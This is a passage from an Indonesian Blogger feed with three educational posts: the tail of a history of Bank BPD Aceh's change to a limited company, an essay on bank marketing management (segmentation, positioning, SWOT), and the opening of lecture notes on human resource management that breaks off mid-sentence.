3 Tahun 1993 tanggal 5 Februari 1993.<br />Perubahan bentuk badan hukum Bank Pembangunan Daerah Istimewa Aceh kembali dilakukan. Diawali dengan Peraturan Menteri Dalam Negeri Nomor 1 Tahun 1998 tanggal 4 Februari 1998 tentang Bentuk Badan Hukum Bank Pembangunan Daerah yang menetapkan bahwa bentuk hukum Bank Pembangunan Daerah dapat berupa Perusahaan Daerah atau Perseroan Terbatas. Bentuk badan hukum sebagai Perusahaan Daerah dinilai tidak sesuai lagi dengan kondisi perbankan saat ini, maka untuk mendukung gerak dan kinerja Bank, serta untuk menyesuaikan dengan ketentuan-ketentuan Perbankan di tanah air, Bank Pembangunan Daerah Istimewa Aceh memilih bentuk badan hukum sebagai Perseroan Terbatas (PT), dengan demikian nama Bank berubah menjadi PT. Bank Pembangunan Daerah Istimewa Aceh disingkat “PT. Bank BPD Aceh”.<br /> <br />Pertimbangan lain, memilih bentuk hukum menjadi Perseroan Terbatas adalah, sehubungan dengan keikutsertaan Bank Pembangunan Daerah Istimewa Aceh dalam Program Rekapitalisasi, berupa peningkatan permodalan bank, yang ditetapkan melalui keputusan bersama Menteri Keuangan Republik Indonesia dan Gubernur Bank Indonesia Nomor 53/KMK.017/1999 dan Nomor 31/12/KEP/GBI tanggal 8 Februari 1999 tentang pelaksanaan Program Rekapitalisasi Bank Umum, yang ditindaklanjuti dengan penandatanganan Perjanjian Rekapitalisasi antara Pemerintah Republik Indonesia, Bank Indonesia dan PT. Bank Pembangunan Daerah Istimewa Aceh di Jakarta pada tanggal 7 Mei 1999. Oleh karena itu, sebagai salah satu persyaratan keikutsertaan dalam program rekapitalisasi, maka bank diwajibkan merubah bentuk badan hukum dari Perusahaan Daerah menjadi Perseroan Terbatas (PT)</div></span>jojo fchttp://www.blogger.com/profile/00228544725655555185noreply@blogger.com0tag:blogger.com,1999:blog-1577612414313430482.post-89070019110786276292010-04-24T00:02:00.001-07:002010-04-24T00:02:36.535-07:00Manajemen Pemasaran Bank (Self Analysis)<div class="post-24 post type-post hentry category-perbankan" id="post-24"> <h2>Posted on <span class="postdate">August 1, 2008</span> by dhycana </h2> <div class="entry"> <div class="snap_preview"><p class="MsoNormal" style="text-align: justify;">Perbankan di Indonesia memulai babak perkembangan baru sejak digulirkannya Paket Deregulasi 1 Juni 1983. Paket Deregulasi ini memberikan kewenangan kepada bank-bank pemerintah untuk menentukan kebijaksanaan perkreditannya sendiri, menghapuskan pagu kredit dan memberi kebebasan bank-bank pemerintah dalam menetapkan tarif suku bunga deposito, sementara itu kredit likuiditas dari Bank Indonesia dihapuskan. Kebijaksanaan deregulasi 1983 dilanjutkan dengan Paket Oktober 1988 (Pakto 1988) dalam rangka menciptakan iklim persaingan yang kondusif dengan memberikan pelonggaran ijin pendirian bank-bank baru maupun campuran.</p> <p class="MsoNormal" style="text-align: justify;">Kebijaksanaan di bidang moneter di atas menjadikan perkembangan dunia perbankan semakin semarak dan terpacu untuk memenangkan persaingan yang semakin kompetitif. Kondisi ini mendorong lembaga-lembaga perbankan berusaha meningkatkan ketrampilan sumber daya manusia, meningkatkan sistem manajemen sarana prasarana, meningkatkan efisiensi, mengembangkan jasa perbankan sesuai dengan kebutuhan serta berusaha mempertahankan eksistensi dan pengembangan diri sesuai dengan tujuan. Semua usaha-usaha tersebut diharapkan mampu menarik perhatian nasabah, mengembangkan jaringan usaha dan memperluas jaringan operasional agar sektor perbankan mampu memainkan peranan yang lebih luas dalam pengembangan perekonomian Indonesia.</p> <p class="MsoNormal" style="text-align: justify;">Menurut Kuncoro dalam bukunya Manajemen Perbankan, Teori dan Aplikasi (2002: 68), definisi dari bank adalah lembaga keuangan yang usaha pokoknya adalah menghimpun dana dan menyalurkan kembali dana tersebut ke masyarakat dalam bentuk kredit serta memberikan jasa-jasa dalam lalu lintas pembayaran dan peredaran uang. Oleh karena itu, dalam melakukan kegiatan usahanya sehari-hari ban harus mempunyai dana agar dapat memberikan kredit kepada masyarakat. Dana tersebut dapat diperoleh dari pemilik bank (pemegang saham), pemerintah, bank Indonesia, pihak-pihak di luar negeri, maupun masyarakat dalam negeri. Dana dari pemilik bank berupa setoran modal yang dilakukan pada saat pendirian bank.</p> <p class="MsoNormal" style="text-align: justify;">Dana dari pemerintah diperoleh apabila bank yang bersangkutan ditunjuk oleh pemerintah untuk menyalurkan dana-dana bantuan yang berkaitan dengan pembiayaan proyek-proyek pemerintah, misalnya Proyek Inpres Desa Tertinggal. Sebelum dana diteruskan kepada penerima, bank dapat menggunakan dana tersebut untuk mendapatkan keuntungan, misalnya dipinjamkan dalam bentuk pinjaman antar bank (interbank call money) berjangka 1 hari hingga 1 minggu. Keuntungan bank diperoleh dari selisih antara harga jual dan harga beli dana tersebut setelah dikurangi dengan biaya operasional. Dana-dana masyarakat ini dihimpun oleh bank dengan menggunakan instrumen produk simpanan yang terdiri dari Giro, Deposito dan Tabungan.</p> <p style="text-align: justify;"> <span>I. </span>Manajemen</p> <p class="MsoNormal" style="text-align: justify; margin: 0pt;"> Kata <span>Manajemen</span> berasal dari <a title="Bahasa Prancis" href="http://id.wikipedia.org/wiki/Bahasa_Prancis">bahasa Prancis</a> kuno ménagement, yang memiliki arti seni melaksanakan dan mengatur. Manajemen belum memiliki definisi yang mapan dan diterima secara universal. <a title="Mary Parker Follet" href="http://id.wikipedia.org/wiki/Mary_Parker_Follet">Mary Parker Follet</a>, misalnya, mendefinisikan manajemen sebagai seni menyelesaikan pekerjaan melalui orang lain. Definisi ini berarti bahwa seorang manajer bertugas mengatur dan mengarahkan orang lain untuk mencapai tujuan organisasi. Ricky W. Griffin mendefinisikan manajemen sebagai sebuah proses perencanaan, pengorganisasian, pengkoordinasian, dan pengontrolan sumber daya untuk mencapai sasaran (goals) secara efektif dan efesien. Efektif berarti bahwa tujuan dapat dicapai sesuai dengan perencanaan, sementara efisien berarti bahwa tugas yang ada dilaksanakan secara benar, terorganisir, dan sesuai dengan jadwal.</p> <p style="text-align: justify;"> <span>II. </span>Pemasaran</p> <p class="MsoNormal" style="text-align: justify; margin: 0pt 0pt 0pt 0.25in;"> Kata pemasaran dalam bahasa inggris disebut marketing. Menurut William.J. Stanton Pemasaran adalah suatu sistem keseluruhan dari kegiatan bisnis yang ditujukan untuk merencanakan, menentukan harga, mempromosikan dan mendistribusikan barang dan jasa yang memuaskan kebutuhan baik kepada nasabah yang ada maupun nasabah potensial. Sementara Konsep Pemasaran yang bersifat kemasyarakatan adalah pemenuhan kebutuhan, keinginan dan minat dari pasar sehingga medorong kesejahteraan konsumen dan masyarakat.</p> <p class="MsoNormal" style="text-indent: 0.5in; text-align: justify; margin: 0pt;">Orientasi perusahaan terhadap kebutuhan pasar dapat dibagi 5 konsep dasar yaitu :</p> <p class="MsoNormal" style="text-align: justify;"><span>A. </span>Konsep Produksi</p> <p class="MsoNormal" style="text-align: justify;">Berdasarkan asumsi bahwa konsumen akan menyukai produk yang<span> </span>yang tersedia secara luas dan berharga rendah. Maajer harus berorientasi pada produksi dengan efisiensi organisasi dan pemenuhan distribusi secara luas.</p> <p class="MsoNormal" style="text-align: justify;"> <span>B. </span>Konsep Produk</p> <p class="MsoNormal" style="text-align: justify;">Berdasarkan asumsi bahwa konsumen akan menyukai produk yang paling berkualitas atau corak inovatif. Manajer harus berorientasi pada upaya memfokuskan energi organisasi pada pembuatan produk superior dari waktu ke waktu.</p> <p class="MsoNormal" style="text-align: justify;"><span>C. </span>Konsep Penjualan</p> <p class="MsoNormal" style="text-align: justify;">Berdasarkan asumsi bahwa konsumen harus selalu diinformasikan tentang eksistensi produk melalui aktifitas promosi yang gencar.</p> <p class="MsoNormal" style="text-align: justify;"><span>D. </span>Konsep Pemasaran</p> <p class="MsoNormal" style="text-align: justify;">Berdasarkan asumsi bahwa konsumen menyukai apabila keinginan dan kebutuhannya<span> </span>terpenuhi. Cara<span> </span>untuk mencapai konsep pemasaran yang sukses adalah sebagai berikut :</p> <address class="MsoNormal"><span>- </span>Mempertemukan Kebutuhan dengan Profitabilty. </address> <address class="MsoNormal"><span>- </span>Temukan keinginan dan penuhi kenginan tersebut. </address> <address class="MsoNormal"><span>- </span>Cintai pelanggan dan bukan produk.</address> <address class="MsoNormal"><span>- </span>Milikilah cara yang akan dilakukan. </address> <address class="MsoNormal"><span>- </span>Anda adalah partner. </address> <address class="MsoNormal"><span>- </span>Untuk melakukan semua dalam suatu paket kekuatan konsumen penuhi mereka kualitas dan kepuasan.</address> <p class="MsoNormal" style="text-align: justify;"><span>E. </span>Konsep Pemasaran yang bermasyarakat</p> <p class="MsoNormal" style="text-align: justify;">Berdasarkan pada pandangan bahwa tugas organisasi adalah untuk menentukan kebutuhan konsumen, kekurangan dan minat target pasar maka untuk dapat memenuhi<span> </span>kepuasan /keinginan itu secara efektif dan secara efisien dibanding pesaing dilakukan dengan cara yang memelihara dan meningkatkan kesejahteraan masyarakat.</p> <p class="MsoNormal" style="text-align: justify;">Konsep pemasaran ini juga sangat berlaku bagi kalangan perbankan (bidang jasa) agar dapat menarik minat nasabah dengan menawarkan berbagai macam jenis produk. Tetapi hal yang paling penting adalah bagaimana sebuah bank dapat memperlakukan nasabah baik baru maupun lama agar tetap eksis dan loyal terhadap bank tersebut. Maka untuk dapat memperlakukan nasabah tersebut perlu direncanakan suatu pemasaran yang baik, dimulai dari keramatamahan personil front office bank yang bersangkutan. Karena darisinilah loyalitas nasabah terhadap bank dibentuk, apabila nasabah tersebut dilayani sebaik mungkin maka sebaliknya ia akan merasa sangat nyaman karena sangat dihargai oleh bank tersebut.</p> <p class="MsoNormal" style="text-align: justify;">Pengertian bank menurut UU No. 7 Tahun 1992 tentang Perbankan sebagaimana telah diubah dengan UU No. 10 Tahun 1998 “Bank adalah badan usaha yang menghimpun dana dari masyarakat dalam bentuk simpanan, dan menyalurkannya kepada masyarakat dalam bentuk kredit dan atau bentuk-bentuk lainnya dalam rangka meningkatkan taraf hidup masyarakat banyak”.</p> <p class="MsoNormal" style="text-align: justify;">Definisi bank di atas memberi tekanan bahwa bank dalam melakukan usahanya terutama menghimpun dana dalam bentuk simpanan yang merupakan sumber dana bank. Demikian pula dari segi penyaluran dananya, hendaknya bank tidak semata-mata memperoleh keuntungan yang sebesar-besarnya bagi pemilik tapi juga kegiatannya itu harus pula diarahkan pada peningkatan taraf hidup masyarakat. Definisi tersebut merupakan komitmen bagi setiap bank yang menjalankan usahanya di Indonesia.</p> <p class="MsoNormal" style="text-align: justify;"><span>II. </span>Manajemen Pemasaran Bank</p> <p class="MsoNormal" style="text-align: justify;">Perkembangan konsep pemasaran bank dimulai dari konsep produk, penjualan dan konsep marketing. Konsep ini bertujuan membangun citra dan reputasi bisnis bank, memahami nasabah bisnis bank sebenarnya, mendekatkan bisnis bank kepada para nasabahnya.</p> <p class="MsoNormal" style="text-align: justify;">Berdasarkan pembahasan diatas dapat dilihat bahwa Manajemen Pemasaran Bank adalah proses perencanaan dan pelaksanaan konsepsi, penetapan harga, promosi, dan distribusi produk dan jasa serta gagasan bank untuk menciptakan pertukaran dengan pelanggan yang memperoleh kepuasan dan sasaran organisatoris<span> </span>bank itu sendiri. Dengan kata lain bahwa manajemen pemasaran bank bertujuan bagaimana bank tersebut bisa merebut hati masyarakat sehingga peranannya sebagai financial intermediary dapat berjalan dengan baik.</p> <p class="MsoNormal" style="text-align: justify;">Karena kegiatan manajemen pemasaran bank meliputi perencanaan, pelaksanaan dan pengendalian terhadap penghimpunan pengalokasian dana dari masyarakat. Proses pengelolaan dan penghimpunan dana-dana masyarakat kedalam bank serta pengalokasian dana-dana tersebut bagi kepentingan bank dan masyarakat pada umumnya, secara optimal melalui penggerakkan semua sumber daya yang tersedia demi mencapai tingkat rentabilitas yang memadai sesuai dengan batas ketentuan peraturan yang berlaku. Pada era perbankan modern saat ini sangat terkait erat dengan manajemen bank dimana manajemen aktiva – pasiva bank merupakan fokus utama dalam manajemen dana bank.</p> <p class="MsoNormal" style="text-align: justify;"><span>I. </span>Manajemen Dana Bank</p> <p class="MsoNormal" style="text-align: justify;">Dalam perekonomian modern, kehidupan masyarakat menjadi tidak asing dengan aktivitas perbankan. Perbankan merupakan bagian dari sistem keuangan yang melayani masyarakat yang surplus dana maupun masyarakat yang defisit dana. Oleh karena itu pengelolaan perbankan harus dilakukan dengan manajemen profesional, karena mengelola bank sangat berbeda dengan mengelola usaha industri.</p> <p class="MsoNormal" style="text-align: justify;">Untuk mencapai pengelolaan perbankan yang profesional maka manajemen perbankan dituntut untuk melakukan kegiatan diantaranya adalah kegiatan menghimpun dana (funding), menyalurkan dana (lending) dan jasa jasa bank lainnya (service). Ketiga kegiatan tersebut harus dilakukan secara bersamaan, karena masing masing kegiatan satu sama lainnya saling berkaitan, sehingga apabila salah satu kegiatan tersebut tidak dikelola secara profesional akan mengakibatkan kerugian bagi bank itu sendiri.</p> <p class="MsoNormal" style="text-align: justify;">Kunci dari keberhasilan manajemen dana bank adalah bagaimana bank tersebut bisa merebut hati masyarakat sehingga peranannya sebagai financial intermediary dapat berjalan dengan baik. Karena kegiatan manajemen dana bank meliputi perencanaan, pelaksanaan dan pengendalian terhadap penghimpunan pengalokasian dana dari masyarakat. Proses pengelolaan dan penghimpunan dana-dana masyarakat kedalam bank serta pengalokasian dana-dana tersebut bagi kepentingan bank dan masyarakat pada umumnya, secara optimal melalui penggerakkan semua sumber daya yang tersedia demi mencapai tingkat rentabilitas yang memadai sesuai dengan batas ketentuan peraturan yang berlaku. Pada era perbankan modern saat ini sangat terkait erat dengan manajemen bank dimana manajemen aktiva -pasiva bank merupakan fokus utama dalam manajemen dana bank.</p> <p class="MsoNormal" style="text-align: justify;">Meskipun suatu bank tidak dapat menentukan dan atau mengatur secara mutlak jumlah dana yang dapat dihimpun pada suatu tingkat yang dikehendaki, namun bank bagaimanapun dapat mempengaruhi jumlah dana yang dihimpun sampai pada tingkat tertentu. Menurut Dahlan Siamat (1993 : 99), dana bank dilihat dari sumbernya dapat dibedakan antara dana ektern yaitu dana yang dihimpun dari luar bank, dan dana intern yaitu dana yang dihimpun dari dalam bank itu sendiri. Sedangkan menurut Muchdarsyah Sinungan (1993 : 84), dana -dana bank yang digunakan sebagai alat bagi operasional suatu bank bersumber atau berasal dari dana-dana sebagai berikut :</p> <address class="MsoNormal">A. Dana piha kesatu</address> <address class="MsoNormal">Dana pihak kesatu adalah dana dari modal sendiri yang berasal dari para pemegang saham.</address> <address class="MsoNormal">B. Dana pihak kedua</address> <address class="MsoNormal">Dana pihak kedua adalah dana yang berupa pinjaman dari pihak luar.</address> <address class="MsoNormal">C. Dana pihak ketiga</address> <address class="MsoNormal">Dana pihak ketiga adalah dana yang berupa simpanan dari pihak masyarakat yaitu dalam bentuk giro, tabungan dan deposito.</address> <p class="MsoNormal" style="text-align: justify;"><span>II. </span>Model Strategi Manajemen Pemasaran Bank (a model for the strategic marketing management process)</p> <p class="MsoNormal" style="text-align: justify;">Hal yang paling penting dalam manajemen pemasaran bank adalah bagaimana sebuah bank dapat memperlakukan nasabah baik baru maupun lama agar tetap eksis dan loyal terhadap bank tersebut. Maka untuk dapat memperlakukan nasabah tersebut perlu direncanakan suatu pemasaran yang baik, dimulai dari keramatamahan personil front office bank yang bersangkutan. Karena darisinilah loyalitas nasabah terhadap bank dibentuk, apabila nasabah tersebut dilayani sebaik mungkin maka sebaliknya ia akan merasa sangat nyaman karena sangat dihargai oleh bank tersebut.</p> <p class="MsoNormal" style="text-align: justify;">Salah satu model strategi dalam Manajemen Pemasaran Bank adalah melakukan suatu Rencana Pemasaran (the marketing plan). Berikut beberapa analisa yang digunakan untuk suatu Rencana Pemasaran bagi bank :</p> <p class="MsoNormal" style="text-align: justify;"><span>A. </span>Self Analysis</p> <p class="MsoNormal" style="text-align: justify;">Untuk membuat suatu rencana pemasaran yang sukses bagi bank, maka manajemen bank harus terlebih dahulu melihat dan menganalisa kekuatan dan kelemahan dari bank itu sendiri. Manajemen bank dapat menggunakan alat analisis SWOT (strengths, weaknesses, opportunities, threats). Berikut hal-hal yang dapat dianalisis sehubungan dengan Self Analysis :</p> <p class="MsoNormal" style="text-align: justify;"> <span>1. </span>Situasi Keuangan Bank (Financial Situation)</p> <p class="MsoNormal" style="text-align: justify;">Untuk melakukan segala bentuk kegiatan perbankan, maka sebuah bank dituntut<span> </span>untuk memiliki keuangan<span> </span>yang memadai sesuai dengan ketentuan yang berlaku. Situasi keuangan bank yang stabil akan dapat membuat bank tersebut melakukan berbagai perencanaan pemasaran produk bank dan sebaliknya apabila suatu bank memiliki situasi keuangan yang kurang baik, maka akan mengakibatkan adanya keterbatasan dalam pemasaran produk bank sehingga tujuan dari bank itu sendiri sulit untuk dicapai. Dengan kondisi keuangan yang memadai dan baik maka bank dapat menentukan sendiri arah dari kebijakan dan sasaran serta tujuan dari bank itu sendiri. Disamping itu bank juga harus mempunyai sumber dana untuk jangka pendek, menengah dan jangka panjang.</p> <p class="MsoNormal" style="text-align: justify;">Oleh karena itu manajemen bank dituntut untuk dapat mengelola dana perbankan secara profesional dan baik, dimana manajemen dapat menggunakan<span> </span>cara penempatan (alokasi) dana bank dengan mempertimbangkan sumber dana yang diperolehnya terdiri atas 2 (dua) pendekatan, yang mana kedua pendekatan tersebut masih banyak dipergunakan atau dipilih oleh manajemen bank, yaitu :</p> <p class="MsoNormal" style="text-align: justify;">A. Pool of fund approach</p> <p class="MsoNormal" style="text-align: justify;">Pool of fund approach adalah penempatan dana bank dengan tidak memperhatikan hal-hal yang berkaitan dengan sumber-sumber dana seperti sifat dana, jangka waktu dan tingkat harga perolehan sumber dana tersebut </p> <p class="MsoNormal" style="text-align: justify;"> B. Asset allocation approach</p> <p class="MsoNormal" style="text-align: justify;">Asset allocation approach adalah penempatan dana ke berbagai aktiva dengan mencocokkan masing-masing sumber dana terhadap jenis alokasi dana yang sesuai dengan sifat dana, jangka waktu dan tingkat harga perolehan sumber dana tersebut</p> <p style="text-align: justify;"> <span>1. </span>Segmentasi Pasar, Penguasaan Pasar dan Posisi dipasar (Market share & Position)</p> <p class="MsoNormal" style="text-align: justify;">Apabila suatu bank mempunyai situasi keuangan yang baik maka bank tersebut akan lebih mudah untuk menentukan segmentasi pasar, penguasaaan pasar dan posisi dipasar yang mana akan dimasuki oleh bank sesuai dengan arah kebijakan manajemen bank itu sendiri. Bank yang memasarkan produk ke pasar konsumen dan pasar bisnis, dapat dilihat bahwa bank tidak dapat menarik semua nasabah di pasar tersebut. Hal ini disebabkan : nasabah terlalu banyak, nasabah tersebar luas, nasabah mempunyai kebutuhan dan kebiasaan yang bervariasi. Oleh karena itu manajemen bank harus mempunyai suatu perencanaan pemasaran yang baik, hal ini dapat dilakukan dengan mengidentifikasi segmen pasar yang paling menarik yang dapat dilayani secara efektif, daripada harus bersaing di semua segmen. Berikut tahap-tahap pemasaran yang terarah :</p> <p class="MsoNormal" style="text-align: justify;">A. Segmentasi pasar</p> <p class="MsoNormal" style="text-align: justify;">Membagi pasar menjadi kelompok nasabah yang terbedakan dengan kebutuhan, karakteristik atau tingkah laku yang berbada yang mungkin membutuhkan produk atau bauran pemasaran yang terpisah. Dengan demikian dapat dikatakan bahwa segmentasi pasar adalah proses membagi sebuah pasar ke segmen-segmen atau kelompok-kelompok yang bermakna, relatif sama dan dapat diindentifikasikan. Contohnya PT. Bank Ekspor Indonesia mempunyai segmentasi pasar khusus untuk perusahaan (corporate) yang bergerak dibidang ekspor dan impor.</p> <p class="MsoNormal" style="text-align: justify;">Manfaat dari segmentasi pasar adalah bank berada dalam posisi yang lebih baik untuk memilih kesempatan- kesempatan pemasaran. Bank dapat menggunakan pengetahuannya terhadap respon pemasaran yang berbeda-beda, sehingga dapat mengalokasikan anggarannya secara lebih tepat pada berbagai segmen. Bank dapat mengatur produk lebih baik dan daya tarik pemasarannya.</p> <p class="MsoNormal" style="text-align: justify;">Dasar-dasar dalam penetapan Segmentasi Pasar yang dilakukan oleh bank harus memperhatikan faktor seperti variabel geografi (wilayah, ukuran daerah, ukuran kota, dan kepadatan iklim), Variabel demografi (umur, keluarga, siklus hidup, pendapatan, pendidikan, dll), Variabel psikologis (kelas sosial, gaya hidup, dan kepribadian) dan Variabel perilaku nasabah (manfaat yang dicari, status pemakai, tingkat pemakaian, status kesetiaan dan sikap pada produk).</p> <p class="MsoNormal" style="text-align: justify;">2. Penguasaan Pasar (Market Share)</p> <p style="text-align: justify;">Proses mengevaluasi daya tarik setiap segmen pasar dan memilih satu atau beberapa untuk dimasuki. Dengan kata lain bank dapat memiliki market share yang kuat di pasar yang telah dipilih. Dengan kata lain bahwa market share<span> </span>adalah bagian pasar yang dikuasai oleh bank, yang besarnya ditentukan oleh effort share atau merupakan presentase dari volume penjualan produk kepada nasabah.</p> <p style="text-align: justify;"> 3. Memposisikan pasar</p> <p class="MsoNormal" style="text-indent: 0.5in; text-align: justify; margin: 0pt;">Memposisikan produk bank dalam pasar bertujuan untuk mengatur agar suatu produk menduduki tempat yang jelas, berbeda dan dikehendaki relatif terhadap produk pesaing di benak konsumen yang menjadi sasaran. Artinya disini bank telah bisa memposisikan dirinya didalam pasar dari keseluruhan pesaing (competitor), sehingga bank hanya perlu untuk melakukan inovasi terhadap produk yang ditawarkan agar bank mempunyai posisi dipasar yang lebih kuat lagi. Berdasarkan keterangan diatas dapat dibentuk chart seperti dibawah ini :</p> <p style="text-align: justify;"> Oleh karena itu bank dalam memposisikan produknya perlu untuk melakukan pengembangan didalam bauran pemasaran untuk mempengaruhi keseluruhan persepsi nasabah potensial terhadap merek, lini produk, atau bank secara umum.</p> <p class="MsoNormal" style="text-indent: -0.25in; text-align: justify; margin: 0pt 0pt 0pt 0.25in;"><span>1. </span>Strategi & Taktik Pemasaran Yang Efesien</p> <p class="MsoNormal" style="text-align: justify; margin: 0pt;"><span> </span>Disamping bank telah melakukan analisa situasi keuangan, segmentasi pasar, penguasaaan pasar dan posisi dipasar, bank juga perlu melakukan suatu strategi dan taktik pemasaran yang efisien. Artinya disini manajemen bank dalam menetapkan rencana pemasarannya harus mampu menjalankan kebijakan yang telah ditentukan sebelumnya agar pemasaran bank (penyampaian informasi produk bank kepada nasabah) dapat dilakukan secara efesien tepat pada sasarannya.</p> <p class="MsoNormal" style="text-align: justify; margin: 0pt;"><span> </span>Oleh karena sudah menjadi keharusan bagi bank untuk melaksanakan promosi dengan strategi yang tepat agar dapat memenuhi sasaran yang efektif. Dimana promosi menjadi salah satu alat informasi yang tepat bagi bank untuk menyampaikan produknya kepada nasabah. Disamping itu strategi pemasaran efesien yang diterapkan harus ditinjau dan dikembangkan sesuai dengan perkembangan pasar dan lingkungan pasar tersebut. Dengan demikian strategi pemasaran yang efesien tersebut juga harus dapat memberikan gambaran yang jelas dan terarah tentang apa yang dilakukan oleh bank dalam menggunakan setiap kesempatan atau paduan pada beberapa sasaran pasar.</p> <p class="MsoNormal" style="text-align: justify; margin: 0pt;">B. Analisa SWOT (Strenghts, Weaknesses, Opportunities, Threats)</p> <p class="MsoNormal" style="text-indent: 0.5in; text-align: justify; margin: 0pt;">Kekuatan tanpa sebuah kesempatan bagaikan sebuah pesawat terbang tanpa cuaca yang baik. Pesawat itu akan beresiko akan terbang. Dengan demikian, untuk menjamin keberhasilan pemasaran, kemampuan perusahaan harus cocok dengan kesempatan pasar yang ada. Dan disinilah peranan analisis swot.</p> <p class="MsoNormal" style="text-indent: 0.5in; text-align: justify; margin: 0pt;">Analisis SWOT yang efektif harus bertujuan meraih pemasaran strategis yang cocok dengan lingkungan internal dan eksternal. Implementasi strategi pemasaran yang berhasil harus didukung kemampuan internal perusahaan, sumber daya, struktur organisasi, kebijakan dan prosedur operasional yang cukup baik. Cara melakukan analisis SWOT yang efektif yaitu mulailah dengan mengidentifikasi kesempatan yang di luar sana. Kemudian, lanjutkan dengan mengidentifikasi ancaman. Setelah itu, anda bisa bergerak maju untuk memilih kekuatan dan kelemahan yang benar – benar berarti.</p> <p style="text-align: justify;"> Jadi dengan telah dilakukannya Self Analisis (Situasi Keuangan, Segmentasi Pasar, Penguasaan Pasar, Posisi dipasar dan strategi pemasaran yang efisien) akan dapat membuat manajemen pemasaran bank berjalan sesuai dengan tujuan apalagi didukung dengan analisa SWOT yang kuat.</p> </div> <p class="postinfo"> Filed under: <a href="http://en.wordpress.com/tag/perbankan/" title="View all posts in Perbankan" rel="category tag">Perbankan</a> </p> </div> </div>jojo fchttp://www.blogger.com/profile/00228544725655555185noreply@blogger.com0tag:blogger.com,1999:blog-1577612414313430482.post-2917399325614062762010-04-23T23:52:00.000-07:002010-04-23T23:54:53.207-07:00MANAJEMEN SUMBER DAYA MANUSIA1<br />BAB I<br />A. Pengertian MSDM<br />MSDM (Manajemen Sumber Daya Manusia) adalah ilmu dan seni mengatur<br />hubungan dan peranan tenaga kerja secara efisien dan efektif sehingga tercapai tujuan<br />bersama perusahaan,karyawan dan masyarakat.<br />B. Fungsi Operasional MSDM<br />Fungsi operasional dalam Manajemen Sumber Daya Manusia merupakan basic (<br />dasar ) pelaksanaan proses MSDM yang efisien dan efektif dalam pencapaian tujuan<br />organisasi/perusahaan. Fungsi operasional tersebut terbagi 5 ( lima ), secara singkat<br />sebagai berikut:<br /> Fungsi Pengadaan<br />adalah proses penarikan ,seleksi,penempatan,orientasi,dan induksi untuk<br />mendapatkan karyawan yang sesuai kebutuhan perusahaan.( the right man in the right<br />place).<br /> Fungsi Pengembangan<br />adalah proses peningkatan ketrampilan teknis,teoritis,konseptual, dan moral<br />karyawan melalui pendidikan dan pelatihan. Pendidikan dan latihan yang diberikan<br />harus sesuai dengan kebutuhan pekerjaan masa kini maupun masa depan.<br /> Fungsi Kompensasi<br />adalah pemberian balas jasa langsung dan tidak lansung berbentuk uang atau<br />barang kepada karyawan sebagai imbal jasa (output) yang diberikannya kepada<br />perusahaan. Prinsip kompensasi adalah adil dan layak sesuai prestasi dan tanggung<br />jawab karyawan tersebut.<br /> Fungsi Pengintegrasian<br />adalah kegiatan untuk mempersatukan kepentingan perusahaan dan kebutuhan<br />karyawan, sehingga tercipta kerjasama yang serasi dan saling menguntungkan.Dimana<br />Pengintegrasian adalah hal yang penting dan sulit dalam MSDM, karena<br />2<br />mempersatukan dua aspirasi/kepentingan yang bertolak belakang antara karyawan dan<br />perusahaan.<br /> Fungsi Pemeliharaan<br />adalah kegiatan untuk memelihara atau meningkatkan kondisi fisik, mental<br />dan loyalitas karyawan agar tercipta hubungan jangka panjang. Pemeliharaan yang<br />baik dilakukan dengan program K3 ( Keselamatan dan Kesehatan Kerja ) .<br />C. Peran Strategik MSDM<br />Perubahan teknologi yang sangat cepat, memaksa organisasi untuk menyesuaikan<br />diri dengan lingkugnan usahanya. Perubahan tersebut telah menggeser fungsi-fungsi<br />manajeman sumber daya manusia yang selama ini hanya dianggap sebagai kegiatan<br />administrasi, yang berkaitan dengan perekrutan pegawai staffing ,coordinating yang<br />dilakukan oleh bagian personalia saja.<br />Saat ini manajeman SDM berubah dan fungsi spesialisasi yang berdiri sendiri<br />menjadi fungsi yang terintegrasi dengan seluruh fungsi lainnya di dalam organisasi, untuk<br />bersama-sama mencapai sasaran yang sudah ditetapkan serta memiliki fungsi<br />perencanaan yang sangat strategik dalam organisasi, dengan kata lain fungsi SDM lama<br />menjadi lebih bersifat strategik.<br />Oleh karenanya manajemen SDM mempunyai kewajiban untuk : memahami<br />perubahan yang semakin komplek yang selalu terjadi di lingkungan bisnis, harus<br />mengantisipasi perubahan teknologi, dan memahami dimensi internasional yang mulai<br />memasuki bisnis akibat informasi yang berkembang cepat. Perubahan paradigma dari<br />manajemen SDM tersebut telah memberikan fokus yang berbeda dalam melaksanakan<br />fungsinya di dalam organisasi.<br />Ada kecenderungan untuk mengakui pentingnya SDM dalam organisasi dan<br />pemusatan perhatian pada kontribusi fungsi SDM bagi keberhasilan pencapaian tujuan<br />strategi perusahaan. Hal ini dapat dilakukan perusahaan dengan mengintegrasikan<br />pembuatan keputusan strateginya dengan fungsi-fungsi SDM maka akan semakin besar<br />kesempatan untuk memperoleh keberhasilan.<br />Tingkat integrasi antara perencanaan strategis dengan fungsi-fungsi SDM<br />terwujud dalam empat macam hubungan :<br />3<br />1. Hubungan Administrasi<br />Disini manajer puncak dan manajer fungsional yuang lainnya menganggap fungsi<br />SDM relatif tidak penting dan memandang manusia bukan sebagai keterbatasan<br />maupun aset perusahaan dalam pengambilan keputusan bisnis.<br />2. Hubungan Satu Arah<br />Terdapat hubugan skuensial antara perencanaan strategis dengan fungsi-fungsi SDM.<br />Fungsi SDM merancang program dan sistem untuk mendukung tujuan strategis<br />perusahaan. Jadi SDM bereaksdi terhadap inisiatif strategis tetapi tidak memiliki<br />pengaruh, karena meskipun sudah dianggap penting namun belum dianggap sebagai<br />mitra bisnis yang strategis.<br />3. Hubungan Dua Arah<br />Ditandai dengan hubungan resiprokal dan saling ketergantungan antara perencanaan<br />strategi dengan SDM. Fungsi SDM dipandang penting dan dapat dipercaya. SDM<br />berperan dalam penentuan arah strategis perusahaan dan sudah dijadikan mitra<br />strategis.<br />4. Hubungan Integratif<br />Ditandaioleh hubungan yang dinamis dan inter aktif antar fungsi-fungsi SDM dan<br />perencanaan strategis. Di sini manajer SDM dipandang sebagai sebenar-benarnya<br />mitra bisnis staregis dan dilibatkan dalam keputusan strategis.<br />D. Faktor Pendorong Pembentukan Integrasi yang Efektif<br />• Lingkungan : Kekuatan lingkungan yang sangat berperan dalaam persaingan yang<br />semakin meningkat, perubahan teknologi dan perubahan femografi tenaga kerja<br />• Sejarah dan kultur organisasi : Budaya organisasi yang berorientsi pada sumber<br />daya manusia yang kuat mampu mengembangkan hubungan alamiah antara kegiatan<br />sumber daya manusia dengan perencanaan strategis.<br />• Strategis : Strategi pemusatan pada satu jenis 